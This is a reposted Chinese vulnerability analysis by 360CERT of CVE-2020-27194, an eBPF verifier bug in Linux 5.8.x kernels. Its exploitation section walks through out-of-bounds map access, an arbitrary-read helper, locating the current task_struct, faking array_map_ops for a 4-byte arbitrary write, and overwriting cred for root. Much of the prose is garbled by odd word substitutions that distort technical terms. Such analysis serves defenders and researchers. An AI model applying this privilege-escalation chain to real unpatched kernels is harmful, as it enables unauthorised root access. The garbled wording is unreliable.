欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CVE-2020-27194:Linux内核eBPF模块提权突破的分析与利用

程序员文章站 2022-04-18 08:27:06
...

原创 360CERT [三六零CERT](javascript:void(0)???? 今天

CVE-2020-27194:Linux内核eBPF模块提权突破的分析与利用

报告编号:B6-2020-110302

报告来源:360-CERT

报告作者:360-CERT

更新日期:2020-11-03

0x01突破背景

2020年11月1日,360CERT检测到国外安全研究人员simon通过fuzz在Linux内核的ebpf模块中发现一个越界标识符的断裂,可导致权限提升,CVE编号:CVE-2020-27194。

该突破是由于eBPF验证程序中进行或操作时未正确计算寄存器范围,而细长引发越界读取和写入。该突破存在于5.8.x 内核分支,目前有部分发行版使用了此分支,如Fedora 33和Ubuntu 20.10。

2020年11月03日,360CERT该突破进行了详细分析,并完成突破利用。

0x02风险等级

360CERT该突破的评估结果如下

评分方式 等级
威胁等级 高危
影响面 一般
360CERT评分 7.8

0x03影响版本

影响 5.8.x 版本及以上的Linux内核分支

影响应用该分支的发行版本:Fedora 33,Ubuntu 20.10

0x04环境建设

(1)下载源码

git clone https://github.com/torvalds/linux.git
git checkout 5b9fbeb75b6a98955f628e205ac26689bcb1383e~1

5b9fbeb75b6a98955f628e205ac26689bcb1383e为修复漏洞的补丁,我们将分支切换到前一个补丁

(2)编译内核

make default
make menuconfig
make -j8

关闭随机化,开启调试信息和ebpf选项

Processor type and features  --->
    [ ]   Randomize the address of the kernel image (KASLR) 

Kernel hacking  --->
    Compile-time checks and compiler options  --->  
        [*] Compile the kernel with debug info

General setup  ---> 
    [*] Enable bpf() system call

0x05进攻分析

5.1 eBPF简介

eBPF是扩展的Berkeley Packet Filter的缩写。开始是用于捕获和过滤特定规则的网络数据包,现在也被用在防火墙,安全,内核调试与性能分析等领域。

eBPF程序的运行过程如下:在用户空间生产eBPF“字节码”,然后将“字节码”加载进内核中的“虚拟机”中,然后进行一些列检查,通过则能够在内核中执行这些类似的Java与JVM虚拟机,但是这里的虚拟机是在内核中的。

bpf程序的执行流程如下图:

CVE-2020-27194:Linux内核eBPF模块提权突破的分析与利用

5.2进攻成因

进攻点在scalar_min_max_or()函数:

static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
                struct bpf_reg_state *src_reg)
{
    bool src_known = tnum_subreg_is_const(src_reg->var_off);
    bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
    struct tnum var32_off = tnum_subreg(dst_reg->var_off);
    s32 smin_val = src_reg->smin_value;
    u32 umin_val = src_reg->umin_value;

    /* Assuming scalar64_min_max_or will be called so it is safe
     * to skip updating register for known case.
     */
    if (src_known && dst_known)
        return;

    /* We get our maximum from the var_off, and our minimum is the
     * maximum of the operands' minima
     */
    dst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);
    dst_reg->u32_max_value = var32_off.value | var32_off.mask;
    if (dst_reg->s32_min_value < 0 || smin_val < 0) {
        /* Lose signed bounds when ORing negative numbers,
         * ain't nobody got time for that.
         */
        dst_reg->s32_min_value = S32_MIN;
        dst_reg->s32_max_value = S32_MAX;
    } else {
        /* ORing two positives gives a positive, so safe to
         * cast result into s64.
         */
        dst_reg->s32_min_value = dst_reg->umin_value; // 【1】
        dst_reg->s32_max_value = dst_reg->umax_value;
    }
}

由于【1】处的将64位的值赋值到32位的变量上,导致截断,长长的错误计算了寄存器的范围,从而绕过bpf的检查,导致越界识别。

具体可以看

    ……
9: (79) r5 = *(u64 *)(r0 +0)
 R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: (bf) r8 = r0
11: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256?
11: (b7) r0 = 1
12: R0_w=invP1 R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
12: (18) r6 = 0x600000002
14: R0_w=invP1 R5_w=invP(id=0) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10?
14: (ad) if r5 < r6 goto pc+1
 R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks?
15: R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0?
15: (95) exit
16: R0_w=invP1 R5_w=invP(id=0,umax_value=25769803777,var_off=(0x0; 0x7ffffffff)) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,i?
16: (25) if r5 > 0x0 goto pc+1
 R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks?
17: R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0?
17: (95) exit
18: R0=invP1 R5=invP(id=0,umin_value=1,umax_value=25769803777,var_off=(0x0; 0x77fffffff),u32_max_value=2147483647) R6=invP25769803778 R8=map_?
18: (47) r5 |= 0
19: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6=invP2576980377?
19: (bc) w6 = w5
20: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP1 R8=map?
20: (77) r6 >>= 1
21: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP0 R8=map?
        ……

9:用户的值通过r5寄存器嵌入值2

10:r0赋值给r8,r0保存map的地址,对触发突破无影响

11:r0赋值1,否则会认为r0导致地图指针产生报错

12:r6赋值0x600000002

14:通过r5 <r6的条件判断是否为r5寄存器的无符号范围最大为umax_value = 25769803777 = 0x600000001

16:通过r> 0x0的条件判断是否为r5寄存器的无符号范围最小为umin_value = 1

18:对r5进行or运算,触发入侵函数scalar_min_max_or,调用到入侵函数中的【1】处,赋值后r5寄存器的s32_min_value = 1,s32_max_value = 1

19:将r5赋值r6,得到r6为invP1,说明检查模块认为r6是常数1,而实际此时r6为2

20:对r6进行右移操作,此时检查模块认为r6得到的结果为invP0(常数0),而实际此时r6为1

具体调试过程如下:

CVE-2020-27194:Linux内核eBPF模块提权突破的分析与利用

dst_reg-> umin_value的数值1,dst_reg-> umax_value的数值为0x600000001,而在赋值dst_reg-> s32_max_value的过程中发生了截断(64位的值赋值到32位的有符号符号),导致dst_reg-> s32_max_value的增量1,此时目标寄存器的32位范围为(1,1),因此bpf的验证模块认为这是常数1。

当我们预期2时,进行进行右移操作,验证模块认为是1 >> 1 = 0,而实际是2 >> 1 = 1,所以可以进行进行乘法操作构造成任意数,因为在验证模块看来只是0乘以任意数,结果都是0,从而绕过检查,可以对地图指针进行任意加减,造成越界解读。

0x06进攻利用

该突破利用和CVE-2020-8835类似,可以参考之前笔者对CVE-2020-8835的利用构造:

6.1越界理解进行信息扭曲

mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,key_size,value_size,max_entries,0);

key_size:表示索引的大小范围,key_size = sizeof(int)= 4。
value_size:表示地图上每个元素的大小范围,可以任意,只要控制在一个合理的范围max_entries:表示地图上的大小,编写利用时将其设置为1

阳离子内核地址

bpf_create_fd创建的是一整个bpf_array结构,我们放置的数据放在value []处

struct bpf_array {
    struct bpf_map map;
    u32 elem_size;
    u32 index_mask;
    struct bpf_array_aux *aux;
    union {
        char value[];//<--- elem
        void *ptrs[];
        void *pptrs[];
    };
}

value []在bpf_array整个结构的替换为0x110,所以*(&map-0x110)为bpf_map的结构地址

struct bpf_map {
    const struct bpf_map_ops *ops;
    struct bpf_map *inner_map_meta;
    void *security;
    enum bpf_map_type map_type;
    //....
    u64 writecnt;
}

bpf_map有一个常量结构bpf_map_ops * ops; 静态,当我们创建的地图是BPF_MAP_TYPE_ARRAY的时候保存的是array_map_ops,array_map_ops是一个变量,可以用作内核地址。

前缀map_elem地址

&exp_elem [0] -0x110 + 0xc0(wait_list)处保存着指向自身的地址,用于放置exp_elem的地址

(gdb) p/x &(*(struct bpf_array *)0x0)->map.freeze_mutex.wait_list
$9 = 0xc0

构造任意读

通过BPF_OBJ_GET_INFO_BY_FD命令进行任意读,BPF_OBJ_GET_INFO_BY_FD会调用bpf_obj_get_info_by_fd:

case BPF_OBJ_GET_INFO_BY_FD:
        err = bpf_obj_get_info_by_fd(&attr, uattr);
#define BPF_OBJ_GET_INFO_BY_FD_LAST_FIELD info.info

static int bpf_obj_get_info_by_fd(const union bpf_attr *attr,
                  union bpf_attr __user *uattr)
{
    int ufd = attr->info.bpf_fd;
    struct fd f;
    int err;

    if (CHECK_ATTR(BPF_OBJ_GET_INFO_BY_FD))
        return -EINVAL;

    f = fdget(ufd);
    if (!f.file)
        return -EBADFD;

    if (f.file->f_op == &bpf_prog_fops)
        err = bpf_prog_get_info_by_fd(f.file->private_data, attr,
                          uattr);
    else if (f.file->f_op == &bpf_map_fops)
        err = bpf_map_get_info_by_fd(f.file->private_data, attr,
                         uattr);
                         ……

之后调用bpf_map_get_info_by_fd:

static int bpf_map_get_info_by_fd(struct bpf_map *map,
                  const union bpf_attr *attr,
                  union bpf_attr __user *uattr)
{
    struct bpf_map_info __user *uinfo = u64_to_user_ptr(attr->info.info);
    struct bpf_map_info info = {};
    u32 info_len = attr->info.info_len;
    int err;

    err = bpf_check_uarg_tail_zero(uinfo, sizeof(info), info_len);
    if (err)
        return err;
    info_len = min_t(u32, sizeof(info), info_len);

    info.type = map->map_type;
    info.id = map->id;
    info.key_size = map->key_size;
    info.value_size = map->value_size;
    info.max_entries = map->max_entries;
    info.map_flags = map->map_flags;
    memcpy(info.name, map->name, sizeof(map->name));

    if (map->btf) {
        info.btf_id = btf_id(map->btf); // 修改map->btf 就可以进行任意读,获得btf_id,在btf结构偏移0x58处
        info.btf_key_type_id = map->btf_key_type_id;
        info.btf_value_type_id = map->btf_value_type_id;
    }

    if (bpf_map_is_dev_bound(map)) {
        err = bpf_map_offload_info_fill(&info, map);
        if (err)
            return err;
    }

    if (copy_to_user(uinfo, &info, info_len) || // 传到用户态的info中,泄露信息
        put_user(info_len, &uattr->info.info_len))
        return -EFAULT;

    return 0;
}
u32 btf_id(const struct btf *btf)
{
    return btf->id;
}
(gdb) p/x &(*(struct btf*)0)->id  #获取id在btf结构中的偏移
$56 = 0x58

(gdb) p/x &(*(struct bpf_map_info*)0)->btf_id #获取btf_id在bpf_map_info中偏移
$57 = 0x40

所以只需要修改map-> btf为target_addr-0x58,就可以转移到用户态信息中,泄漏的信息在结构bpf_map_info结构移位0x40处,由于是u32类型,所以只能使用4个字节。

利用代码如下:

static uint32_t bpf_map_get_info_by_fd(uint64_t key, void *value, int mapfd, void *info) 
{
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key = (__u64)&key,
        .value = (__u64)value,
            .info.bpf_fd = mapfd,
            .info.info_len = 0x100,
            .info.info = (__u64)info,
    };

    syscall(__NR_bpf, BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr));
    return *(uint32_t *)((char *)info+0x40);
}

6.2查找task_struct

ksymtab 保存init_pid_ns结构的偏移,init_pid_ns字符串的偏移
kstrtab 保存init_pid_ns的字符串

(gdb) p &__ksymtab_init_pid_ns
$4 = (<data variable, no debug info> *) 0xffffffff82322eb4
(gdb) x/2wx 0xffffffff82322eb4
0xffffffff82322eb4:    0x001264cc    0x0000a28f
(gdb) x/2s 0xffffffff82322eb8+0x0000a28f
0xffffffff8232d147:    "init_pid_ns"
0xffffffff8232d153:    "put_pid"
(gdb) x/4gx 0xffffffff82322eb4+0x001264cc
0xffffffff82449380 <init_pid_ns>:    0x0000000000000002    0x0080000400000000
0xffffffff82449390 <init_pid_ns+16>:    0x0000000000000000    0x0000000000000000

所以我们通过搜索“ init_pid_ns”字符串可以得到__kstrtab_init_pid_ns的地址,然后再通过搜索匹配地址+该地址上四个字节(表示转换)是否等于__kstrtab_init_pid_ns的地址来判断是否为__ksymtab_init_pid_ns,此时找到的地址为__ksymtab_init_pid_ns+4,减去4就是__ksymtab_init_pid_ns,上面有init_pid_ns结构的转变,与__ksymtab_init_pid_ns地址相加就可以得到init_pid_ns结构的地址。

之后通过pid和init_pid_ns查找对应的pid的task_struct,这里实际上就是要理清内核的查找过程,在写利用的时候模拟走一遍。最后找到task_struct中cred位置。内核是通过find_task_by_pid_ns函数实现查找过程的:

struct task_struct *find_task_by_pid_ns(pid_t nr, struct pid_namespace *ns)
{
    RCU_LOCKDEP_WARN(!rcu_read_lock_held(),
             "find_task_by_pid_ns() needs rcu_read_lock() protection");
    return pid_task(find_pid_ns(nr, ns), PIDTYPE_PID);
}

nr为当前进程的pid,ns为init_pid_ns结构地址,我们需要的是idr细分的内容

struct pid *find_pid_ns(int nr, struct pid_namespace *ns)
{
    return idr_find(&ns->idr, nr);
}
lib/idr.c:
void *idr_find(const struct idr *idr, unsigned long id)
{
    return radix_tree_lookup(&idr->idr_rt, id - idr->idr_base);
}

需要获取&idr-> idr_rt和idr-> idr_base

lib/radix-tree.c:
void *radix_tree_lookup(const struct radix_tree_root *root, unsigned long index)
{
    return __radix_tree_lookup(root, index, NULL, NULL);
}
void *__radix_tree_lookup(const struct radix_tree_root *root,
              unsigned long index, struct radix_tree_node **nodep,
              void __rcu ***slotp)
{
    struct radix_tree_node *node, *parent;
    unsigned long maxindex;
    void __rcu **slot;

 restart:
    parent = NULL;
    slot = (void __rcu **)&root->xa_head;
    radix_tree_load_root(root, &node, &maxindex); //将root->xa_head的值赋给node
    if (index > maxindex)
        return NULL;

    while (radix_tree_is_internal_node(node)) {
        unsigned offset;

        parent = entry_to_node(node); // parent = node & 0xffff ffff ffff fffd
        offset = radix_tree_descend(parent, &node, index); //循环查找当前进程的node
        slot = parent->slots + offset; //
        if (node == RADIX_TREE_RETRY)
            goto restart;
        if (parent->shift == 0) // 当shift为0时,退出,说明找到当前进程的node
            break;
    }

    if (nodep)
        *nodep = parent; 
    if (slotp)
        *slotp = slot; 
    return node; 
}

重点看radix_tree_descend函数实现:

RADIX_TREE_MAP_MASK : 0x3f
static unsigned int radix_tree_descend(const struct radix_tree_node *parent, 
            struct radix_tree_node **nodep, unsigned long index)
{
    unsigned int offset = (index >> parent->shift) & RADIX_TREE_MAP_MASK;  // 要读取parent->shift的值,并与0x3f 与计算
    void __rcu **entry = rcu_dereference_raw(parent->slots[offset]);  // 获取parent->slots[offset] 作为下一个node

    *nodep = (void *)entry; //

    return offset; //
}

radix_tree_node的结构如下:

#define radix_tree_node xa_node

struct xa_node {
    unsigned char    shift;        /* Bits remaining in each slot */
    unsigned char    offset;        /* Slot offset in parent */
    unsigned char    count;        /* Total entry count */
    unsigned char    nr_values;    /* Value entry count */
    struct xa_node __rcu *parent;    /* NULL at top of tree */
    struct xarray    *array;        /* The array we belong to */
    union {
        struct list_head private_list;    /* For tree user */
        struct rcu_head    rcu_head;    /* Used when freeing node */
    };
    void __rcu    *slots[XA_CHUNK_SIZE];
    union {
        unsigned long    tags[XA_MAX_MARKS][XA_MARK_LONGS];
        unsigned long    marks[XA_MAX_MARKS][XA_MARK_LONGS];
    };
};

获得当前进程的node后就可以通过pid_task获取相应的task_struct:

enum pid_type
{
    PIDTYPE_PID,
    PIDTYPE_TGID,
    PIDTYPE_PGID,
    PIDTYPE_SID,
    PIDTYPE_MAX,
};
type 为PIDTYPE_PID, 值为0

#define hlist_entry(ptr, type, member) container_of(ptr,type,member)

struct task_struct *pid_task(struct pid *pid, enum pid_type type)
{
    struct task_struct *result = NULL;
    if (pid) {
        struct hlist_node *first;
        first = rcu_dereference_check(hlist_first_rcu(&pid->tasks[type]), //获取&pid->tasks[0] 的内容
                          lockdep_tasklist_lock_is_held());
        if (first)
            result = hlist_entry(first, struct task_struct, pid_links[(type)]);// first为pid_links[0]的地址,由此获得task_struct的起始地址
    }
    return result;
}

6.3构造任意写

在exp_elem上填充伪造的array_map_ops,伪造的array_map_ops中将map_push_elem填充为map_get_next_key,这样将map_push_elem时就会变成map_get_next_key,然后将&exp_elem [0]的地址覆盖到exp_map [0],同时要作为过一些检查

spin_lock_off = 0
max_entries = 0xffff ffff 
//写入的index要满足(index >= array->map.max_entries), 将map_entries改成0xffff ffff
map_type = BPF_MAP_TYPE_STACK
//map 的类型是BPF_MAP_TYPE_QUEUE或者BPF_MAP_TYPE_STACK时,map_update_elem 会调用map_push_elem

最后调用bpf_update_elem任意写内存

 bpf_update_elem->map_update_elem(mapfd, &key, &value, flags) -> map_push_elem(被填充成 map_get_next_key )
 ->array_map_get_next_key
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)   
{                                                                                   
    struct bpf_array *array = container_of(map, struct bpf_array, map);             
    u32 index = key ? *(u32 *)key : U32_MAX;                                        
    u32 *next = (u32 *)next_key;                                                    

    if (index >= array->map.max_entries) {    //index                                      
        *next = 0;                                                                  
        return 0;                                                                   
    }                                                                               

    if (index == array->map.max_entries - 1)                                        
        return -ENOENT;                                                             

    *next = index + 1;                                                              
    return 0;                                                                       
}

map_push_elem的参数是值和uattr的标志,分别对应array_map_get_next_key的键和next_key参数,之后有index =值[0],next =标志,最终效果是* flags =值[0] +1,这里索引和next都是u32类型,所以可以任意地址写4个字节。

所以利用的整体思路是:

  1. 通过裂缝,从而传递进来的变量2,而验证模块认为是1,长剑通过右移和乘法操作构造任意数,对地图指针进行加减造成越界识别。
  2. 通过&exp_elem [0] -0x110,获得exp_map的地址,exp_map [0]保存着array_map_ops的地址,可以用作内核地址
  3. &exp_elem [0] -0x110 + 0xc0(wait_list)处保存着指向自身的地址,用于放置exp_elem的地址
  4. 利用任意读查找init_pid_ns结构地址
  5. 利用进程pid和init_pid_ns结构地址获取当前进程的task_struct
  6. 在exp_elem上填充伪造的array_map_ops
  7. 修改地图的一些分支绕过一些检查
  8. 调用bpf_update_elem任意写内存
  9. 修改进程task_struct的cred进行提权。

提权效果图:

CVE-2020-27194:Linux内核eBPF模块提权突破的分析与利用

0x07补丁分析

CVE-2020-27194:Linux内核eBPF模块提权突破的分析与利用

按正常处理思路,寄存器32位的范围和64位的范围应该分开处理,突破的成因正是直接直接将64位值赋值给32位的变量,导致截断,因此补丁就是将32位和64位的情况分开,修正赋值的内容,阻止了整体截断的情况。

0x08时间线

2020-11-01 作者公开突破信息

2020-11-02 360CERT完成突破利用

2020-11-03 360CERT发布突破分析与利用报告

0x09参考链接

  1. https://scannell.me/fuzzing-for-ebpf-jit-bugs-in-the-linux-kernel/
  2. https://github.com/torvalds/linux/commit/5b9fbeb75b6a98955f628e205ac26689bcb1383e
  3. https://xz.aliyun.com/t/7690

转载自https://mp.weixin.qq.com/s/Jt50Ey-abKf9m-QgSCJb8Q

相关标签: 新增漏洞报告